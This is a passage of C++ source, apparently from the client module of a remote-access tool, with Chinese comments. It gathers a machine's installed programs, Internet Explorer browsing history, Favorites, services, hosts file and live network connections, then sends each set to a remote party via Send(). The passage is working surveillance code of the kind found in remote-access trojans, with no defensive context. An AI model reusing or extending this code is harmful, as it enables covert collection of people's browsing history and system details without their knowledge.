NULL, NULL, NULL, NULL, NULL, NULL, &fileLastTime); SYSTEMTIME sTime, stLocal; FileTimeToSystemTime(&fileLastTime, &sTime); SystemTimeToTzSpecificLocalTime(NULL, &sTime, &stLocal); wsprintf(regInstallData, _T("%d/%02d/%02d"), stLocal.wYear, stLocal.wMonth, stLocal.wDay); } dwRegSize = MAX_LEG; memset(regUninstallString, 0, MAX_LEG); RegQueryValueEx(hSubKey, _T("UninstallString"), 0, &dwType, (LPBYTE)regUninstallString, &dwRegSize); // 缓冲区太小，再重新分配下 dwLength = lstrlen(regDisplayName) * sizeof(char) + lstrlen(regPublisher) * sizeof(char) + lstrlen(regDisplayVersion) * sizeof(char) + lstrlen(regInstallData) * sizeof(char) + lstrlen(regUninstallString) * sizeof(char) + 11; if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); memcpy(lpBuffer + dwOffset, regDisplayName, lstrlen(regDisplayName) * sizeof(char) + 2); dwOffset += lstrlen(regDisplayName) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, regPublisher, lstrlen(regPublisher) * sizeof(char) + 2); dwOffset += lstrlen(regPublisher) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, regDisplayVersion, lstrlen(regDisplayVersion) * sizeof(char) + 2); dwOffset += lstrlen(regDisplayVersion) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, regInstallData, lstrlen(regInstallData) * sizeof(char) + 2); dwOffset += lstrlen(regInstallData) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, regUninstallString, lstrlen(regUninstallString) * sizeof(char) + 2); dwOffset += lstrlen(regUninstallString) * sizeof(char) + 2; } } } } else return FALSE; //打开键失败 RegCloseKey(hKey); } lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); return lpBuffer; } void CMachineManager::SendIEHistoryList() { LPBYTE lpBuffer = getIEHistoryList(); if (lpBuffer == NULL) return; Send((LPBYTE)lpBuffer, (UINT)LocalSize(lpBuffer)); LocalFree(lpBuffer); } LPBYTE CMachineManager::getIEHistoryList() { HRESULT hr = 0; IUrlHistoryStg2* puhs = nullptr; IEnumSTATURL* pesu; STATURL su = {}; su.cbSize = sizeof(STATURL); ULONG celt = 0; CoInitialize(NULL); hr = CoCreateInstance(CLSID_CUrlHistory, NULL, CLSCTX_INPROC_SERVER, IID_IUrlHistoryStg, (LPVOID*)&puhs); LPBYTE lpBuffer = NULL; DWORD dwOffset = 1; DWORD dwLength = 0; lpBuffer = (LPBYTE)LocalAlloc(LPTR, 10000); lpBuffer[0] = TOKEN_MACHINE_HTML; Browsinghistory m_Browsinghistory; dwLength = sizeof(Browsinghistory); if (SUCCEEDED(hr)) { hr = puhs->EnumUrls(&pesu); if (SUCCEEDED(hr)) { while (SUCCEEDED(pesu->Next(1, &su, &celt)) && celt > 0) { ZeroMemory(&m_Browsinghistory, sizeof(Browsinghistory)); std::string url = WideToAnsi(su.pwcsUrl); std::string title = WideToAnsi(su.pwcsTitle); if (url.length() < 1024) memcpy(m_Browsinghistory.strUrl, url.c_str(), url.length()+1); else wsprintf(m_Browsinghistory.strUrl, _T("---")); if (title.length() < 1024) memcpy(m_Browsinghistory.strTitle, title.c_str(), title.length()+1); else wsprintf(m_Browsinghistory.strTitle, _T("---")); SYSTEMTIME st; if (&su.ftLastVisited != NULL) { FileTimeToSystemTime(&su.ftLastVisited, &st); wsprintf(m_Browsinghistory.strTime, _T("%d-%d-%d %d:%d:%d"), st.wYear, st.wMonth, st.wDay, st.wHour, st.wSecond, st.wMinute); } else { wsprintf(m_Browsinghistory.strTime, _T("---")); } if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); memcpy(lpBuffer + dwOffset, &m_Browsinghistory, sizeof(Browsinghistory)); dwOffset += sizeof(Browsinghistory); CoTaskMemFree(su.pwcsUrl); CoTaskMemFree(su.pwcsTitle); su.pwcsUrl = nullptr; su.pwcsTitle = nullptr; } pesu->Release(); puhs->Release(); } } CoUninitialize(); lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); return lpBuffer; } void CMachineManager::SendFavoritesUrlList() { LPBYTE lpBuffer = getFavoritesUrlList(); if (lpBuffer == NULL) return; Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer)); LocalFree(lpBuffer); } void CMachineManager::FindFavoritesUrl(char* searchfilename, PBYTE &lpFUBuffer, int& dwFUOffset) { char favpath[MAX_PATH] = { 0 }; char tmpPath[MAX_PATH] = { 0 }; DWORD dwFULength = 0; lstrcat(favpath, searchfilename); lstrcat(favpath, _T("\\*.*")); WIN32_FIND_DATA fd; ZeroMemory(&fd, sizeof(WIN32_FIND_DATA)); HANDLE hFind = FindFirstFile(favpath, &fd); // 文件后缀都是 url do { if (fd.cFileName[0] != _T('.')) { lstrcpy(tmpPath, searchfilename); lstrcat(tmpPath, _T("\\")); lstrcat(tmpPath, fd.cFileName); if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { FindFavoritesUrl(tmpPath, lpFUBuffer, dwFUOffset); } else if (_tcsstr(fd.cFileName, _T(".url"))) { char buf[MAX_PATH] = { 0 }; ::GetPrivateProfileString(_T("InternetShortcut"), _T("URL"), _T(""), buf, sizeof(buf), tmpPath); dwFULength = lstrlen(buf) * sizeof(char) + lstrlen(fd.cFileName) * sizeof(char) + 4; if (LocalSize(lpFUBuffer) < (dwFUOffset + dwFULength)) lpFUBuffer = (LPBYTE)LocalReAlloc(lpFUBuffer, (dwFUOffset + dwFULength) + 1024, LMEM_ZEROINIT | LMEM_MOVEABLE); memcpy(lpFUBuffer + dwFUOffset, fd.cFileName, lstrlen(fd.cFileName) * sizeof(char) + 2); dwFUOffset += lstrlen(fd.cFileName) * sizeof(char) + 2; memcpy(lpFUBuffer + dwFUOffset, buf, lstrlen(buf) * sizeof(char) + 2); dwFUOffset += lstrlen(buf) * sizeof(char) + 2; } } } while (FindNextFile(hFind, &fd)); FindClose(hFind); } LPBYTE CMachineManager::getFavoritesUrlList() { char favpath[MAX_PATH] = { 0 }; // 从注册表获取收藏夹所在位置 HKEY hKEY; DWORD type = REG_SZ; LPCTSTR path = _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"); DWORD cbData = 80; ::RegOpenKeyEx(HKEY_CURRENT_USER, path, 0, KEY_READ, &hKEY); ::RegQueryValueEx(hKEY, _T("Favorites"), NULL, &type, (LPBYTE)favpath, &cbData); ::RegCloseKey(hKEY); LPBYTE lpFUBuffer = (LPBYTE)LocalAlloc(LPTR, 10000); lpFUBuffer[0] = TOKEN_MACHINE_FAVORITES; int dwFUOffset = 1; FindFavoritesUrl(favpath, lpFUBuffer, dwFUOffset); lpFUBuffer = (LPBYTE)LocalReAlloc(lpFUBuffer, dwFUOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); return lpFUBuffer; } void CMachineManager::SendServicesList(DWORD dwScType) { UINT nRet = -1; LPBYTE lpBuffer = getServiceList(dwScType); if (lpBuffer == NULL) return; Send((LPBYTE)lpBuffer, (int)(LocalSize(lpBuffer))); LocalFree(lpBuffer); } LPBYTE CMachineManager::getServiceList(DWORD dwScType) { EnablePrivilege(SE_DEBUG_NAME, TRUE); LPBYTE lpBuffer = NULL; DWORD dwOffset = 0; DWORD dwLength = 1024 * 8; char strState[100], strStartType[100], lpDescription[1024]; LPENUM_SERVICE_STATUS lpServices = NULL; SC_HANDLE sc = NULL; DWORD size = 0; DWORD ret = 0; char* szInfo[1024 * 8]; DWORD dwSize = 1024 * 8; sc = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); //第一次调用来得到需要多大的内存区 EnumServicesStatus(sc, dwScType, SERVICE_STATE_ALL, lpServices, size, &size, &ret, NULL); //申请需要的内存 lpServices = (LPENUM_SERVICE_STATUS)LocalAlloc(LPTR, size); EnumServicesStatus(sc, dwScType, SERVICE_STATE_ALL, lpServices, size, &size, &ret, NULL); // 申请Buffer内存 lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024 * sizeof(char)); lpBuffer[0] = TOKEN_MACHINE_SERVICE_LIST; dwOffset = 1; for (DWORD i = 0; i < ret; i++) { dwSize = 1024 * 8; ZeroMemory(szInfo, dwSize); // 显示名 SC_HANDLE sh = OpenService(sc, lpServices[i].lpServiceName, SERVICE_ALL_ACCESS); if (sh == NULL) //打开失败 continue; QueryServiceConfig2(sh, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)szInfo, dwSize, &dwSize); // 描述 memset(lpDescription, 0, sizeof(lpDescription)); if (((LPSERVICE_DESCRIPTION)szInfo)->lpDescription != NULL) lstrcpy(lpDescription, ((LPSERVICE_DESCRIPTION)szInfo)->lpDescription); // 状态 memset(strState, 0, sizeof(strState)); switch (lpServices[i].ServiceStatus.dwCurrentState) { case SERVICE_CONTINUE_PENDING: lstrcpy(strState, _T("Continue")); break; case SERVICE_PAUSE_PENDING: lstrcpy(strState, _T("Pausing")); break; case SERVICE_PAUSED: lstrcpy(strState, _T("Paused")); break; case SERVICE_RUNNING: lstrcpy(strState, _T("Running")); break; case SERVICE_START_PENDING: lstrcpy(strState, _T("Starting")); break; case SERVICE_STOP_PENDING: lstrcpy(strState, _T("Stopping")); break; case SERVICE_STOPPED: lstrcpy(strState, _T("Stopped")); break; default: lstrcpy(strState, _T("Erro")); break; } ZeroMemory(szInfo, dwSize); dwSize = 1024 * 8; if (!QueryServiceConfig(sh, (LPQUERY_SERVICE_CONFIG)szInfo, dwSize, &dwSize)) { continue; } // 启动类型 memset(strStartType, 0, sizeof(strStartType)); switch (((LPQUERY_SERVICE_CONFIG)szInfo)->dwStartType) { case SERVICE_AUTO_START: lstrcpy(strStartType, _T("Auto Start")); break; case SERVICE_BOOT_START: lstrcpy(strStartType, _T("Boot Start")); break; case SERVICE_DEMAND_START: lstrcpy(strStartType, _T("Demand Start")); break; case SERVICE_DISABLED: lstrcpy(strStartType, _T("Disabled")); break; case SERVICE_SYSTEM_START: lstrcpy(strStartType, _T("System Start")); break; default: lstrcpy(strStartType, _T("Error")); break; } // 服务的启动账户名 // 是否与桌面交互 const char* InterActive = _T(""); if (((LPQUERY_SERVICE_CONFIG)szInfo)->dwServiceType >= SERVICE_INTERACTIVE_PROCESS) InterActive = _T("是"); //========================================================================================== // 缓冲区太小，再重新分配下 if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); // 显示名称 memcpy(lpBuffer + dwOffset, lpServices[i].lpDisplayName, lstrlen(lpServices[i].lpDisplayName) * sizeof(char) + sizeof(char)); dwOffset += lstrlen(lpServices[i].lpDisplayName) * sizeof(char) + sizeof(char); // 描述 memcpy(lpBuffer + dwOffset, lpDescription, lstrlen(lpDescription) * sizeof(char) + sizeof(char)); dwOffset += lstrlen(lpDescription) * sizeof(char) + sizeof(char); // 状态 memcpy(lpBuffer + dwOffset, strState, lstrlen(strState) * sizeof(char) + sizeof(char)); dwOffset += lstrlen(strState) * sizeof(char) + sizeof(char); // 启动类型 memcpy(lpBuffer + dwOffset, strStartType, lstrlen(strStartType) * sizeof(char) + sizeof(char)); dwOffset += lstrlen(strStartType) * sizeof(char) + sizeof(char); // 登陆身份 memcpy(lpBuffer + dwOffset, ((LPQUERY_SERVICE_CONFIG)szInfo)->lpServiceStartName, lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpServiceStartName) * sizeof(char) + sizeof(char)); dwOffset += lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpServiceStartName) * sizeof(char) + sizeof(char); // 桌面交互 memcpy(lpBuffer + dwOffset, InterActive, lstrlen(InterActive) * sizeof(char) + sizeof(char)); dwOffset += lstrlen(InterActive) * sizeof(char) + sizeof(char); // 服务名 memcpy(lpBuffer + dwOffset, lpServices[i].lpServiceName, lstrlen(lpServices[i].lpServiceName) * sizeof(char) + sizeof(char)); dwOffset += lstrlen(lpServices[i].lpServiceName) * sizeof(char) + sizeof(char); // 可执行文件路径 memcpy(lpBuffer + dwOffset, ((LPQUERY_SERVICE_CONFIG)szInfo)->lpBinaryPathName, lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpBinaryPathName) * sizeof(char) + sizeof(char)); dwOffset += lstrlen(((LPQUERY_SERVICE_CONFIG)szInfo)->lpBinaryPathName) * sizeof(char) + sizeof(char); // 控制通知 CloseServiceHandle(sh); } CloseServiceHandle(sc); lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); EnablePrivilege(SE_DEBUG_NAME, FALSE); return lpBuffer; } void CMachineManager::SendHostsList() { char szHostsFile[MAX_PATH] = { 0 }; BOOL bIsWow64 = FALSE; HANDLE hFile = INVALID_HANDLE_VALUE; DWORD dwSize = 0, dwRead; LPBYTE lpBuffer = NULL; GetWindowsDirectory(szHostsFile, sizeof(szHostsFile)); ::IsWow64Process(::GetCurrentProcess(), &bIsWow64); if (bIsWow64) lstrcat(szHostsFile, _T("\\sysnative\\drivers\\etc\\hosts")); else lstrcat(szHostsFile, _T("\\system32\\drivers\\etc\\hosts")); SetFileAttributes(szHostsFile, FILE_ATTRIBUTE_NORMAL); hFile = CreateFile(szHostsFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) return; dwSize = GetFileSize(hFile, NULL); lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwSize + 2); if (!ReadFile(hFile, lpBuffer + 1, dwSize, &dwRead, NULL)) { LocalFree(lpBuffer); CloseHandle(hFile); return; } CloseHandle(hFile); lpBuffer[0] = TOKEN_MACHINE_HOSTS; Send((LPBYTE)lpBuffer, (UINT)LocalSize(lpBuffer)); LocalFree(lpBuffer); } LPBYTE CMachineManager::getNetStateList() { LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); lpBuffer[0] = TOKEN_MACHINE_NETSTATE; DWORD dwOffset = 1; DWORD dwLength = 0; WCHAR* temp; // 定义扩展函数指针 PFNAllocateAndGetTcpExTableFromStack pAllocateAndGetTcpExTableFromStack; PFNAllocateAndGetUdpExTableFromStack pAllocateAndGetUdpExTableFromStack; // 获取扩展函数的入口地址 HMODULE hModule = ::LoadLibrary(_T("iphlpapi.dll")); pAllocateAndGetTcpExTableFromStack = (PFNAllocateAndGetTcpExTableFromStack)::GetProcAddress(hModule, "AllocateAndGetTcpExTableFromStack"); pAllocateAndGetUdpExTableFromStack = (PFNAllocateAndGetUdpExTableFromStack)::GetProcAddress(hModule, "AllocateAndGetUdpExTableFromStack"); if (pAllocateAndGetTcpExTableFromStack != NULL || pAllocateAndGetUdpExTableFromStack != NULL) { // 调用扩展函数，获取TCP扩展连接表和UDP扩展监听表 PMIB_TCPEXTABLE pTcpExTable; PMIB_UDPEXTABLE pUdpExTable; // pTcpExTable和pUdpExTable所指的缓冲区自动由扩展函数在进程堆中申请 if (pAllocateAndGetTcpExTableFromStack(&pTcpExTable, TRUE, GetProcessHeap(), 2, 2) != 0) { return NULL; } if (pAllocateAndGetUdpExTableFromStack(&pUdpExTable, TRUE, GetProcessHeap(), 2, 2) != 0) { return NULL; } // 给系统内的所有进程拍一个快照 HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { return NULL; } char szLocalAddr[128]; char szRemoteAddr[128]; char szProcessName[128]; in_addr inadLocal, inadRemote; char strState[128]; DWORD dwRemotePort = 0; // 打印TCP扩展连接表信息 for (UINT i = 0; i < pTcpExTable->dwNumEntries; ++i) { // 状态 switch (pTcpExTable->table[i].dwState) { case MIB_TCP_STATE_CLOSED: lstrcpy(strState, _T("已关闭")); break; case MIB_TCP_STATE_LISTEN: lstrcpy(strState, _T("监听")); break; case MIB_TCP_STATE_SYN_SENT: lstrcpy(strState, _T("SYN_发送")); break; case MIB_TCP_STATE_SYN_RCVD: lstrcpy(strState, _T("SYN_接收")); break; case MIB_TCP_STATE_ESTAB: lstrcpy(strState, _T("连接")); break; case MIB_TCP_STATE_FIN_WAIT1: lstrcpy(strState, _T("FIN_WAIT1")); break; case MIB_TCP_STATE_FIN_WAIT2: lstrcpy(strState, _T("FIN_WAIT2")); break; case MIB_TCP_STATE_CLOSE_WAIT: lstrcpy(strState, _T("CLOSE_WAIT")); break; case MIB_TCP_STATE_CLOSING: lstrcpy(strState, _T("正在关闭")); break; case MIB_TCP_STATE_LAST_ACK: lstrcpy(strState, _T("LAST_ACK")); break; case MIB_TCP_STATE_TIME_WAIT: lstrcpy(strState, _T("TIME_WAIT")); break; case MIB_TCP_STATE_DELETE_TCB: lstrcpy(strState, _T("删除")); break; default: break; } // 本地IP地址 inadLocal.s_addr = pTcpExTable->table[i].dwLocalAddr; // 远程端口 if (lstrcmp(strState, _T("监听")) != 0) { dwRemotePort = pTcpExTable->table[i].dwRemotePort; } else dwRemotePort = 0; // 远程IP地址 inadRemote.s_addr = pTcpExTable->table[i].dwRemoteAddr; temp = char2wchar_t(inet_ntoa(inadLocal)); wsprintf(szLocalAddr, _T("%s:%u"), temp, ntohs((unsigned short)(0x0000FFFF & pTcpExTable->table[i].dwLocalPort))); SAFE_DELETE_AR(temp); temp = char2wchar_t(inet_ntoa(inadRemote)); wsprintf(szRemoteAddr, _T("%s:%u"), temp, ntohs((unsigned short)(0x0000FFFF & dwRemotePort))); SAFE_DELETE_AR(temp); // 打印出此入口的信息 char strProcessName[100] = { 0 }; const char* strType = _T("[TCP]"); lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pTcpExTable->table[i].dwProcessId, szProcessName)); dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(strState) * sizeof(char) + 12; if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, &pTcpExTable->table[i].dwProcessId, sizeof(DWORD) + 2); dwOffset += sizeof(DWORD) + 2; memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2); dwOffset += lstrlen(strType) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2); dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2); dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, strState, lstrlen(strState) * sizeof(char) + 2); dwOffset += lstrlen(strState) * sizeof(char) + 2; } // 打印UDP监听表信息 for (DWORD i = 0; i < pUdpExTable->dwNumEntries; ++i) { // 本地IP地址 inadLocal.s_addr = pUdpExTable->table[i].dwLocalAddr; temp = char2wchar_t(inet_ntoa(inadLocal)); wsprintf(szLocalAddr, _T("%s:%u"), temp, ntohs((unsigned short)(0x0000FFFF & pUdpExTable->table[i].dwLocalPort))); SAFE_DELETE_AR(temp); // 打印出此入口的信息 char strProcessName[100] = { 0 }; const char* strType = _T("[UDP]"); const char* szRemoteAddr = _T("*.*.*.*:*"); const char* szUDPState = _T(" "); lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, szProcessName)); dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(szUDPState) * sizeof(char) + 12; if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, &pUdpExTable->table[i].dwProcessId, sizeof(DWORD) + 2); dwOffset += sizeof(DWORD) + 2; memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2); dwOffset += lstrlen(strType) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2); dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2); dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, szUDPState, lstrlen(szUDPState) * sizeof(char) + 2); dwOffset += lstrlen(szUDPState) * sizeof(char) + 2; } ::CloseHandle(hProcessSnap); ::LocalFree(pTcpExTable); ::LocalFree(pUdpExTable); ::FreeLibrary(hModule); } else { char szLocalAddr[128]; char szRemoteAddr[128]; char szProcessName[128]; in_addr inadLocal, inadRemote; char strState[128]; DWORD dwRemotePort = 0; PMIB_TCPEXTABLE_VISTA pTcpTable_Vista; _InternalGetTcpTable2 pGetTcpTable = (_InternalGetTcpTable2)GetProcAddress(hModule, "InternalGetTcpTable2"); if (pGetTcpTable == NULL) return 0; if (pGetTcpTable(&pTcpTable_Vista, GetProcessHeap(), 1)) return 0; // 给系统内的所有进程拍一个快照 HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { return NULL; } for (UINT i = 0; i < pTcpTable_Vista->dwNumEntries; i++) { // 状态 switch (pTcpTable_Vista->table[i].dwState) { case MIB_TCP_STATE_CLOSED: lstrcpy(strState, _T("已关闭")); break; case MIB_TCP_STATE_LISTEN: lstrcpy(strState, _T("监听")); break; case MIB_TCP_STATE_SYN_SENT: lstrcpy(strState, _T("SYN_发送")); break; case MIB_TCP_STATE_SYN_RCVD: lstrcpy(strState, _T("SYN_接收")); break; case MIB_TCP_STATE_ESTAB: lstrcpy(strState, _T("连接")); break; case MIB_TCP_STATE_FIN_WAIT1: lstrcpy(strState, _T("FIN_WAIT1")); break; case MIB_TCP_STATE_FIN_WAIT2: lstrcpy(strState, _T("FIN_WAIT2")); break; case MIB_TCP_STATE_CLOSE_WAIT: lstrcpy(strState, _T("CLOSE_WAIT")); break; case MIB_TCP_STATE_CLOSING: lstrcpy(strState, _T("正在关闭")); break; case MIB_TCP_STATE_LAST_ACK: lstrcpy(strState, _T("LAST_ACK")); break; case MIB_TCP_STATE_TIME_WAIT: lstrcpy(strState, _T("TIME_WAIT")); break; case MIB_TCP_STATE_DELETE_TCB: lstrcpy(strState, _T("删除")); break; default: break; } // 本地IP地址 inadLocal.s_addr = pTcpTable_Vista->table[i].dwLocalAddr; // 远程端口 if (lstrcmp(strState, _T("监听")) != 0) { dwRemotePort = pTcpTable_Vista->table[i].dwRemotePort; } else dwRemotePort = 0; // 远程IP地址 inadRemote.s_addr = pTcpTable_Vista->table[i].dwRemoteAddr; temp = char2wchar_t(inet_ntoa(inadLocal)); wsprintf(szLocalAddr, _T("%s:%u"), temp, ntohs((unsigned short)(0x0000FFFF & pTcpTable_Vista->table[i].dwLocalPort))); SAFE_DELETE_AR(temp); temp = char2wchar_t(inet_ntoa(inadRemote)); wsprintf(szRemoteAddr, _T("%s:%u"), temp, ntohs((unsigned short)(0x0000FFFF & dwRemotePort))); SAFE_DELETE_AR(temp); // 打印出此入口的信息 char strProcessName[100] = { 0 }; const char* strType = _T("[TCP]"); lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pTcpTable_Vista->table[i].dwProcessId, szProcessName)); dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(strState) * sizeof(char) + 12; if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, &pTcpTable_Vista->table[i].dwProcessId, sizeof(DWORD) + 2); dwOffset += sizeof(DWORD) + 2; memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2); dwOffset += lstrlen(strType) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2); dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2); dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, strState, lstrlen(strState) * sizeof(char) + 2); dwOffset += lstrlen(strState) * sizeof(char) + 2; } PMIB_UDPEXTABLE pUdpExTable = NULL; // 表明为 Vista 或者 7 操作系统 PFNInternalGetUdpTableWithOwnerPid pInternalGetUdpTableWithOwnerPid; pInternalGetUdpTableWithOwnerPid = (PFNInternalGetUdpTableWithOwnerPid)GetProcAddress(hModule, "InternalGetUdpTableWithOwnerPid"); if (pInternalGetUdpTableWithOwnerPid != NULL) { if (pInternalGetUdpTableWithOwnerPid(&pUdpExTable, GetProcessHeap(), 1)) { if (pUdpExTable) { HeapFree(GetProcessHeap(), 0, pUdpExTable); } FreeLibrary(hModule); hModule = NULL; return 0; } // 打印UDP监听表信息 for (DWORD i = 0; i < pUdpExTable->dwNumEntries; ++i) { // 本地IP地址 inadLocal.s_addr = pUdpExTable->table[i].dwLocalAddr; temp = char2wchar_t(inet_ntoa(inadLocal)); wsprintf(szLocalAddr, _T("%s:%u"), temp, ntohs((unsigned short)(0x0000FFFF & pUdpExTable->table[i].dwLocalPort))); SAFE_DELETE_AR(temp); // 打印出此入口的信息 char strProcessName[100] = { 0 }; const char* strType = _T("[UDP]"); const char* szRemoteAddr = _T("*.*.*.*:*"); const char* szUDPState = _T(" "); lstrcpy(strProcessName, ProcessPidToName(hProcessSnap, pUdpExTable->table[i].dwProcessId, szProcessName)); dwLength = lstrlen(strProcessName) * sizeof(char) + sizeof(DWORD) + lstrlen(strType) * sizeof(char) + lstrlen(szLocalAddr) * sizeof(char) + lstrlen(szRemoteAddr) * sizeof(char) + lstrlen(szUDPState) * sizeof(char) + 12; if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, &pUdpExTable->table[i].dwProcessId, sizeof(DWORD) + 2); dwOffset += sizeof(DWORD) + 2; memcpy(lpBuffer + dwOffset, strType, lstrlen(strType) * sizeof(char) + 2); dwOffset += lstrlen(strType) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, szLocalAddr, lstrlen(szLocalAddr) * sizeof(char) + 2); dwOffset += lstrlen(szLocalAddr) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, szRemoteAddr, lstrlen(szRemoteAddr) * sizeof(char) + 2); dwOffset += lstrlen(szRemoteAddr) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, szUDPState, lstrlen(szUDPState) * sizeof(char) + 2); dwOffset += lstrlen(szUDPState) * sizeof(char) + 2; } } } lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); return lpBuffer; } // 将进程ID号（PID）转化为进程名称 char* CMachineManager::ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName) { PROCESSENTRY32 processEntry; processEntry.dwSize = sizeof(processEntry); // 找不到的话，默认进程名为“???” lstrcpy(ProcessName, _T("???")); if (!::Process32First(hProcessSnap, &processEntry)) return ProcessName; do { if (processEntry.th32ProcessID == ProcessId) { // 就是这个进程 lstrcpy(ProcessName, processEntry.szExeFile); break; } } while (::Process32Next(hProcessSnap, &processEntry)); return ProcessName; } wchar_t* CMachineManager::char2wchar_t(char* cstr) { int len = MultiByteToWideChar(CP_ACP, 0, cstr, -1, NULL, 0); wchar_t* wstr = new wchar_t[len]; memset(wstr, 0, len * sizeof(wchar_t)); MultiByteToWideChar(CP_ACP, 0, cstr, -1, wstr, len); return wstr; } BOOL CMachineManager::EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable) { HANDLE hToken; TOKEN_PRIVILEGES TokenPrivileges; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE; TokenPrivileges.PrivilegeCount = 1; 